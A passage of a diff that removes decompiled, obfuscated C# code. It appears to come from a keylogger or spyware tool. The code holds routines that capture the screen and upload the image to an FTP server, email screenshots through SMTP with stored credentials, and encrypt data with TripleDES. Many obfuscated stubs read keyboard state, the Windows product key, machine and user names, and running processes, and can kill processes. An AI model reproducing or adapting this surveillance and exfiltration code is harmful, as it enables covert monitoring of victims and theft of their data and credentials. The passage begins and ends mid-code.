"FTP information is valid and working!"; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - str1 = (string) Module1.GeKcxdf1Ev4XQMv1b5((object) "FTP information is invalid: ", Module1.Ml1DCgCCxV35kTWDaLf((object) ex)); - Module1.tfQG9ZxSAoLso7uAc4(); - } - return str1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = (string) Module1.GeKcxdf1Ev4XQMv1b5((object) "\\", Module1.ijtGi7WqRRamMi6SsXg()); - Bitmap bitmap = new Bitmap(Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Width, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Height); - try - { - Graphics graphics = (Graphics) Module1.fqB50dW93ORRG6SYCJq((object) bitmap); - try - { - Module1.TGPGTBWEinOOJ85Oq8Y((object) graphics, 0, 0, 0, 0, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Size); - int num; - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - if (!Module1.\u0039tQwKe2CnnLlNBStFc()) - { - num = 2; - goto label_6; - } - } - else - goto label_7; -label_5: - Module1.sF1FbNW4S2Y9Z5fmOJG((object) bitmap, Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif"), Module1.\u00352e5WsWrkD3sJqPIvFM()); - goto label_14; -label_6: - switch (num) - { - case 0: - case 2: - goto label_5; - default: - goto label_14; - } -label_7: - num = 3; - goto label_6; - } - finally - { - if (graphics != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) graphics); - } - } - finally - { - if (bitmap != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) bitmap); - } -label_14: - Module1.cbcd6BWPIXOvqFBxULu(Module1.pqwH7oWHnmIujkZsule(Module1.CaMd2BvH2uoKiGkKIp()), Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif"), Module1.gTfNjvCRy8LOakR9vuH((object) new string[5] - { - "ftp://", - Host, - Dir, - str2, - ".gif" - }), (object) Username, (object) Password); - Module1.wSsrq1CWFI1pxdIQV4U(Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif")); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - str1 = (string) Module1.GeKcxdf1Ev4XQMv1b5((object) "FTP information is invalid: ", Module1.Ml1DCgCCxV35kTWDaLf((object) ex)); - Module1.tfQG9ZxSAoLso7uAc4(); - } - return str1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage mailMessage = new MailMessage(); - Module1.OtPKXWC6vN9L19aYpn4((object) mailMessage, (object) new MailAddress(Froma)); - Module1.bb05N7CsdagA0xe7lFF(Module1.TC5eEOCeVq4yCt7Or0H((object) mailMessage), (object) Recipient); - Module1.\u003037piaCKOYPHQg86HIn((object) mailMessage, (object) Subject); - Module1.syVgJiCQ2LUhpsWZLfJ((object) mailMessage, (object) Body); - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = (string) Module1.GeKcxdf1Ev4XQMv1b5((object) "\\", Module1.ijtGi7WqRRamMi6SsXg()); - if (TakePic) - { - Bitmap bitmap = new Bitmap(Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Width, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Height); - try - { - Graphics graphics = (Graphics) Module1.fqB50dW93ORRG6SYCJq((object) bitmap); - try - { - Module1.TGPGTBWEinOOJ85Oq8Y((object) graphics, 0, 0, 0, 0, Module1.LuuFsXWOvL5N7QUvJqk(Module1.jCt078WFNudJyjUnJOT()).Size); - Module1.aK5Gis8GMgDL8lkmJj(); - switch (Module1.\u0039tQwKe2CnnLlNBStFc() ? 3 : 2) - { - case 0: - case 2: - Module1.sF1FbNW4S2Y9Z5fmOJG((object) bitmap, Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif"), Module1.\u00352e5WsWrkD3sJqPIvFM()); - break; - } - } - finally - { - if (graphics != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) graphics); - } - } - finally - { - if (bitmap != null) - Module1.BJSjcqWz9LXfF1jMTHh((object) bitmap); - } - Attachment attachment = new Attachment((string) Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif")); - ((Collection) Module1.xYNsTJCawE3gBKkUln1((object) mailMessage)).Add(attachment); - } - Module1.eTYdl7CwiOT9M0YvMl3((object) smtpClient, Port); - Module1.TeAaotCNCvywPnhNqUS((object) smtpClient, true); - Module1.o3qRwpCjkfconsGGFr2((object) smtpClient, (object) new NetworkCredential(Froma, Password)); - Module1.\u0032kwiIWCdjqEHF4ZPKX5((object) smtpClient, (object) mailMessage); - if (Module1.TakeScrns) - Module1.wSsrq1CWFI1pxdIQV4U(Module1.Cu6LEMoCdLZt1XXcm1(Module1.yI89MBWvaxxZ6c0WajU(), (object) str2, (object) ".gif")); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - Module1.lorJqFhvZq7sEyUWus((object) ex); - str1 = (string) Module1.GeKcxdf1Ev4XQMv1b5((object) "Email information invalid: ", Module1.Ml1DCgCCxV35kTWDaLf((object) ex)); - Module1.tfQG9ZxSAoLso7uAc4(); - } - return str1; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static string TripleDESEncode(object value, object key) - { - int num = 14; - if (true) - goto label_2; -label_1: - byte[] numArray1 = (byte[]) Module1.YIbAm8C5A7ps1Wgl7NX(Module1.dakJs2CiteBSOoFVTfK(), value); - goto label_4; -label_2: - CryptoStream cryptoStream; - MemoryStream memoryStream; - byte[] numArray2; - TripleDESCryptoServiceProvider cryptoServiceProvider; - PasswordDeriveBytes passwordDeriveBytes; - while (true) - { - switch (num) - { - case 0: - Module1.nUMylHC88L9PgS0O8F6((object) memoryStream, (object) numArray2, 0, checked ((int) Module1.\u00337WJhDCl7cEcGc9M6T2((object) memoryStream))); - num = 10; - continue; - case 1: - goto label_1; - case 2: - case 3: - Module1.h4a8CjCtiESbKjKgWPu((object) cryptoServiceProvider, Module1.\u0032NiGJ8C1mRo4LEjjjFb((object) passwordDeriveBytes, (object) "RC2", (object) "MD5", 128, (object) new byte[8])); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 4; - continue; - } - goto case 8; - case 4: - memoryStream = new MemoryStream(checked (Module1.\u0032LCDS4bby7cFt56678(value) * 2 - 1)); - num = 8; - continue; - case 5: - Module1.PAyNnWCu9bhXJX7Ak34((object) cryptoStream); - num = 6; - continue; - case 6: - numArray2 = new byte[checked ((int) (Module1.\u00337WJhDCl7cEcGc9M6T2((object) memoryStream) - 1L) + 1)]; - num = 13; - continue; - case 8: - cryptoStream = new CryptoStream((Stream) memoryStream, (ICryptoTransform) Module1.qClQE8CGgdMyFFpgcTK((object) cryptoServiceProvider), CryptoStreamMode.Write); - num = 1; - continue; - case 9: - Module1.\u0038qYhehCAd63U2Nr6GmI((object) cryptoServiceProvider, (object) new byte[8]); - num = 11; - continue; - case 10: - Module1.cfVSSvC28C9fydlTD4W((object) cryptoStream); - num = 15; - continue; - case 11: - passwordDeriveBytes = new PasswordDeriveBytes((string) key, new byte[0]); - if (!Module1.aK5Gis8GMgDL8lkmJj()) - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 12; - continue; - } - goto label_4; - } - else - { - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 2; - continue; - } - goto case 9; - } - case 13: - Module1.nkm1F4CYQlH3Z0VNqgD((object) memoryStream, 0L); - num = 0; - continue; - case 14: - cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - num = 9; - continue; - case 15: - goto label_17; - default: - goto label_4; - } - } -label_17: - return (string) Module1.\u0033EC792CDPfrWdI7tU5Z((object) numArray2); -label_4: - Module1.jsE6NHCy02TduJVYQca((object) cryptoStream, (object) numArray1, 0, numArray1.Length); - num = 5; - goto label_2; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public static string TripleDESDecode(object value, object key) - { - int num = Module1.\u0039tQwKe2CnnLlNBStFc() ? 3 : 8; - MemoryStream memoryStream; - byte[] numArray1; - TripleDESCryptoServiceProvider cryptoServiceProvider; - PasswordDeriveBytes passwordDeriveBytes; - CryptoStream cryptoStream; - byte[] numArray2; - while (true) - { - switch (num) - { - case 0: - case 8: - cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - goto case 1; - case 1: - case 3: - Module1.\u0038qYhehCAd63U2Nr6GmI((object) cryptoServiceProvider, (object) new byte[8]); - if (true) - { - num = 14; - continue; - } - goto label_17; - case 2: - memoryStream = new MemoryStream(Module1.\u0032LCDS4bby7cFt56678(value)); - num = 12; - continue; - case 4: - Module1.nUMylHC88L9PgS0O8F6((object) memoryStream, (object) numArray1, 0, checked ((int) Module1.\u00337WJhDCl7cEcGc9M6T2((object) memoryStream))); - if (Module1.aK5Gis8GMgDL8lkmJj()) - { - num = 9; - continue; - } - goto case 10; - case 5: - numArray1 = new byte[checked ((int) (Module1.\u00337WJhDCl7cEcGc9M6T2((object) memoryStream) - 1L) + 1)]; - num = 13; - continue; - case 6: - numArray2 = (byte[]) Module1.AG5G9mCUKWSAKVENDk7(value); - if (true) - { - num = 2; - continue; - } - goto case 14; - case 7: - Module1.jsE6NHCy02TduJVYQca((object) cryptoStream, (object) numArray2, 0, numArray2.Length); - if (true) - { - num = 11; - continue; - } - goto case 11; - case 9: - Module1.cfVSSvC28C9fydlTD4W((object) cryptoStream); - if (true) - { - num = 15; - continue; - } - goto case 6; - case 10: - Module1.h4a8CjCtiESbKjKgWPu((object) cryptoServiceProvider, Module1.\u0032NiGJ8C1mRo4LEjjjFb((object) passwordDeriveBytes, (object) "RC2", (object) "MD5", 128, (object) new byte[8])); - num = 6; - continue; - case 11: - Module1.PAyNnWCu9bhXJX7Ak34((object) cryptoStream); - num = 5; - continue; - case 12: - cryptoStream = new CryptoStream((Stream) memoryStream, (ICryptoTransform) Module1.oahy3PCTJEy2cEjA4VS((object) cryptoServiceProvider), CryptoStreamMode.Write); - goto case 7; - case 13: - Module1.nkm1F4CYQlH3Z0VNqgD((object) memoryStream, 0L); - if (true) - { - num = 4; - continue; - } - goto case 5; - case 14: - passwordDeriveBytes = new PasswordDeriveBytes((string) key, new byte[0]); - num = 10; - continue; - case 15: - goto label_17; - default: - num = 7; - continue; - } - } -label_17: - return (string) Module1.TfFPvmC08XrXvhQfD5Y(Module1.dakJs2CiteBSOoFVTfK(), (object) numArray1); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr urlYk5DMsRD6pl8GXI([In] int obj0) => (IntPtr) obj0; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool aK5Gis8GMgDL8lkmJj() => true; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0039tQwKe2CnnLlNBStFc() => false; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object IYFgqgUkYKDSY4eyFP([In] Environment.SpecialFolder obj0) => (object) Environment.GetFolderPath(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object V0sYVhTYXKF6kbm7uN([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((string) obj0).Replace((string) obj1, (string) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object jZCMD30I9rA2jkTnmo() => (object) Environment.MachineName; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static DateTime OBKlNtLdB5w6bbZabL() => DateTime.Now; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Cu6LEMoCdLZt1XXcm1([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((string) obj0 + (string) obj1 + (string) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int UW2E6apA6w4vt7wMnt([In] object obj0, [In] object obj1, [In] CompareMethod obj2) => Strings.InStr((string) obj0, (string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object flsXGuZ01VhsxXweYp([In] object obj0, [In] int obj1, [In] int obj2) => (object) ((string) obj0).Substring(obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void lorJqFhvZq7sEyUWus([In] object obj0) => ProjectData.SetProjectError((Exception) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void tfQG9ZxSAoLso7uAc4() => ProjectData.ClearProjectError(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool cLpNIo7jf2YYnaVlfH([In] IntPtr obj0, [In] IntPtr obj1) => obj0 != obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0039lRgvVXgQbuXwcwlAA() => (object) Process.GetCurrentProcess(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object WoGI1JS4OhjvTnnpUG([In] object obj0) => (object) ((Process) obj0).MainModule; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static IntPtr bN2AeBBliUJyrEgTMi([In] object obj0) => ((ProcessModule) obj0).BaseAddress; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int KuG1oecseu4CmPle79([In] IntPtr obj0) => (int) obj0; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object sZW75KM8OLe6gP56Nm() => Module1.tLZuirQLn(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool u6k9fpnAEtxb1Qw638([In] object obj0) => Conversions.ToBoolean(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0032LCDS4bby7cFt56678([In] object obj0) => ((string) obj0).Length; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int el1LjDI2xAy3DR7L5y([In] object obj0, [In] object obj1, [In] int obj2) => ((string) obj0).IndexOf((string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object ku8iNWkiRIjETCg4kh() => (object) Module1.cgGg(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0033Jlrmg3L5hBhgAKNtb([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.ConditionalCompareObjectNotEqual(obj0, obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object D1yI7Lm8S8hp1XhEMP([In] object obj0) => (object) Conversions.ToString(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object GeKcxdf1Ev4XQMv1b5([In] object obj0, [In] object obj1) => (object) ((string) obj0 + (string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object w9ViC9JjcNa9XFfrg7([In] object obj0, [In] object obj1) => Operators.ConcatenateObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static DateTime bukOsUV7jtnskmOEG1() => DateAndTime.Now; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object CaMd2BvH2uoKiGkKIp() => (object) MyProject.Computer; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object NRkiAkqqGOSKpNEn0D([In] object obj0) => (object) ((Computer) obj0).Keyboard; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool d3MpZNgGeBdeZxTakx([In] object obj0) => ((Keyboard) obj0).CtrlKeyDown; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool IsT2RoHgHmDrTwMuLE([In] object obj0) => ((Keyboard) obj0).AltKeyDown; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static char cYkwxTPHLJY7M1NCV1([In] int obj0) => Strings.ChrW(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Nv32S7Fy7Zg4ZB6FGx([In] char obj0) => (object) Conversions.ToString(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int p6pqE4O4jYnrmrnfx8([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.CompareString((string) obj0, (string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object bK9ciL9K0YYnomcqX6([In] object obj0) => (object) ((string) obj0).ToUpper(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool kZL15KESGgIZvivYfs([In] object obj0) => ((Keyboard) obj0).CapsLock; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object FBtMjMrJbh2EvGGTVu([In] int obj0) => (object) Conversions.ToString(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool FTKBD943axWdrcoLtJ([In] object obj0, [In] object obj1) => ((string) obj0).EndsWith((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object QeYY1Nz7P7IZT3xt5J([In] object obj0) => (object) ((string) obj0).ToString(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Qc9HD4WRktEJ2l4gqDm([In] object obj0, [In] int obj1) => (object) ((string) obj0).Remove(obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int fkvBv3WWIxGswsNxvoE([In] object obj0) => Conversions.ToInteger((string) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void NuPgbnWCZyQDtdGcaq2() => Module1.WaitEx1(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TowVIpW690WIw1AqaBR() => (object) Environment.UserName; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0031mjtVWWeVwql8G9KXjb( - [In] object obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3) - { - return (object) ((string) obj0 + (string) obj1 + (string) obj2 + (string) obj3); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void sfTnhuWss14xvIZH5WI([In] object obj0) => ((Thread) obj0).Start(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0031VWnigWKFKLS69RdnXc([In] object obj0) => ((Thread) obj0).Join(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static double T8MwLxWQQd2buVZF2vD([In] object obj0) => Conversions.ToDouble((string) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static double B6yIdhWa8bOeEZFbsEY([In] double obj0) => Math.Round(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0036TV7knWwdf9V8Ro5hAj([In] int obj0) => Thread.Sleep(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void cAIdiGWNn71GylBERuo([In] object obj0) => ((Stopwatch) obj0).Start(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void h0taalWjaUk2LE6ndhT() => Application.DoEvents(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long NEu3WBWd63EA2Jx68Ut([In] object obj0) => ((Stopwatch) obj0).ElapsedMilliseconds; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0036WpNw2WAgCcDLu1LbTo([In] object obj0) => ((Stopwatch) obj0).Stop(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0034ZWDLYW1OLYbK9lFMUb([In] object obj0, [In] object obj1, [In] bool obj2) => (object) ((RegistryKey) obj0).OpenSubKey((string) obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object T6EraqWtBlI68KukGPK( - [In] object obj0, - [In] System.Type obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6) - { - return NewLateBinding.LateGet(obj0, obj1, (string) obj2, (object[]) obj3, (string[]) obj4, (System.Type[]) obj5, (bool[]) obj6); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object OSTovcWGYBqunkHw89u([In] object obj0, [In] object obj1) => Operators.LeftShiftObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object JQM90YWi3eYxbtnVBNl([In] object obj0, [In] object obj1, [In] object obj2) => NewLateBinding.LateIndexGet(obj0, (object[]) obj1, (string[]) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object DDTy3JW5Z2aQyyYpSfL([In] object obj0, [In] object obj1) => Operators.OrObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Slc6ulWyu86CbV8DoVU([In] object obj0, [In] object obj1) => Operators.IntDivideObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static byte tLwMF4Wu0AJeExUoZjL([In] object obj0) => Conversions.ToByte(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void fDbRtQWlCptU1li0fPQ([In] object obj0, [In] object obj1, [In] object obj2) => NewLateBinding.LateIndexSet(obj0, (object[]) obj1, (string[]) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object flHWiKWYxXgTOXR7ecp([In] object obj0, [In] object obj1) => Operators.ModObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int KqEXibW8s0Mvpx4K8CX([In] object obj0) => Conversions.ToInteger(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static char aDonlbW2E3xwXh4Su08([In] object obj0, [In] int obj1) => ((string) obj0)[obj1]; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool BIXoZdWDhWaY89ADEVh([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.ConditionalCompareObjectGreaterEqual(obj0, obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TQ6gUkWUO7FUeBBuXTy([In] object obj0, [In] object obj1) => Operators.DivideObject(obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object jSLPS0WTfAbbI8kDqlb([In] object obj0, [In] object obj1) => (object) Strings.Format(obj0, (string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0034dRM75W0WmP5FAWBmte([In] object obj0, [In] object obj1, [In] bool obj2) => Operators.ConditionalCompareObjectLess(obj0, obj1, obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u0036FPjOBWLsY14EweojkB([In] object obj0) => RuntimeHelpers.GetObjectValue(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Xus0R3WoabvfvVdCeiH([In] object obj0) => Conversion.Fix(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object yBl4HJWpqJtvURDV5AH() => (object) Module1.GenerateOperatingSystem(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Wbh2fVWZxPNnUvl60kj() => (object) Module1.GetWindowsKey(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object pb1i9qWhxVlu0fhWRQ6([In] object obj0) => (object) ((ServerComputer) obj0).Info; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static ulong I9a3gvWxOdIrJv9FqHf([In] object obj0) => ((ComputerInfo) obj0).AvailablePhysicalMemory; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object RMi29MW7fjA4nX63c0j([In] object obj0) => (object) Module1.jYsja(obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static ulong \u0038wOTVZWXystv89ao8C8([In] object obj0) => ((ComputerInfo) obj0).AvailableVirtualMemory; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Yn8bPeWSAZNlmM9KUlu() => (object) Environment.SystemDirectory; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object nOJb2qWBLgDhrNL1CqI() => (object) Environment.OSVersion; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static PlatformID FowurWWcomgkkWLwvWJ([In] object obj0) => ((OperatingSystem) obj0).Platform; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object kXJPGMWMIEs9AxcqgeH([In] object obj0) => (object) ((OperatingSystem) obj0).Version; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int yNPhSaWnMoPVgt8swQ0([In] object obj0) => ((Version) obj0).Minor; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int TTr4sKWb9QS0AIO4gY9([In] object obj0) => ((Version) obj0).Major; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void R1k9LWWIQ4xJs3bAZn9(int interval) => Module1.jlSYrzoUQ(interval); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object nu8HV8Wk4kQWal6R5bg() => (object) Process.GetProcesses(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object LbFF7OW3e5a48dTQO9a([In] object obj0) => (object) ((Process) obj0).MainWindowTitle; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static bool \u0035tpbkyWmkvJnRPxfJX2([In] object obj0, [In] object obj1) => ((string) obj0).Contains((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void xZEsC9WfINVbmm1m4XG([In] object obj0) => ((Process) obj0).Kill(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object yhr72wWJGpR6GY4MDU1() => (object) Application.ExecutablePath; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object SGbNNYWVs3NEHyrSXv5([In] object obj0, [In] int obj1) => (object) Strings.Left((string) obj0, obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object yI89MBWvaxxZ6c0WajU() => (object) Path.GetTempPath(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object ijtGi7WqRRamMi6SsXg() => (object) Module1.LT; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void kRocdXWgHPlBSp42uUr([In] object obj0, [In] object obj1) => System.IO.File.WriteAllText((string) obj0, (string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object pqwH7oWHnmIujkZsule([In] object obj0) => (object) ((ServerComputer) obj0).Network; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void cbcd6BWPIXOvqFBxULu( - [In] object obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4) - { - ((Network) obj0).UploadFile((string) obj1, (string) obj2, (string) obj3, (string) obj4); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object jCt078WFNudJyjUnJOT() => (object) Screen.PrimaryScreen; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static Rectangle LuuFsXWOvL5N7QUvJqk([In] object obj0) => ((Screen) obj0).Bounds; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object fqB50dW93ORRG6SYCJq([In] object obj0) => (object) Graphics.FromImage((Image) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void TGPGTBWEinOOJ85Oq8Y( - [In] object obj0, - [In] int obj1, - [In] int obj2, - [In] int obj3, - [In] int obj4, - [In] Size obj5) - { - ((Graphics) obj0).CopyFromScreen(obj1, obj2, obj3, obj4, obj5); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object \u00352e5WsWrkD3sJqPIvFM() => (object) ImageFormat.Gif; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void sF1FbNW4S2Y9Z5fmOJG([In] object obj0, [In] object obj1, [In] object obj2) => ((Image) obj0).Save((string) obj1, (ImageFormat) obj2); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void BJSjcqWz9LXfF1jMTHh([In] object obj0) => ((IDisposable) obj0).Dispose(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object gTfNjvCRy8LOakR9vuH([In] object obj0) => (object) string.Concat((string[]) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void wSsrq1CWFI1pxdIQV4U([In] object obj0) => System.IO.File.Delete((string) obj0); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object Ml1DCgCCxV35kTWDaLf([In] object obj0) => (object) ((Exception) obj0).Message; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void OtPKXWC6vN9L19aYpn4([In] object obj0, [In] object obj1) => ((MailMessage) obj0).From = (MailAddress) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object TC5eEOCeVq4yCt7Or0H([In] object obj0) => (object) ((MailMessage) obj0).To; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void bb05N7CsdagA0xe7lFF([In] object obj0, [In] object obj1) => ((MailAddressCollection) obj0).Add((string) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u003037piaCKOYPHQg86HIn([In] object obj0, [In] object obj1) => ((MailMessage) obj0).Subject = (string) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void syVgJiCQ2LUhpsWZLfJ([In] object obj0, [In] object obj1) => ((MailMessage) obj0).Body = (string) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static object xYNsTJCawE3gBKkUln1([In] object obj0) => (object) ((MailMessage) obj0).Attachments; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void eTYdl7CwiOT9M0YvMl3([In] object obj0, [In] int obj1) => ((SmtpClient) obj0).Port = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void TeAaotCNCvywPnhNqUS([In] object obj0, [In] bool obj1) => ((SmtpClient) obj0).EnableSsl = obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void o3qRwpCjkfconsGGFr2([In] object obj0, [In] object obj1) => ((SmtpClient) obj0).Credentials = (ICredentialsByHost) obj1; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void \u0032kwiIWCdjqEHF4ZPKX5([In] object obj0, [In] object obj1) => ((SmtpClient) obj0).Send((MailMessage) obj1); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void 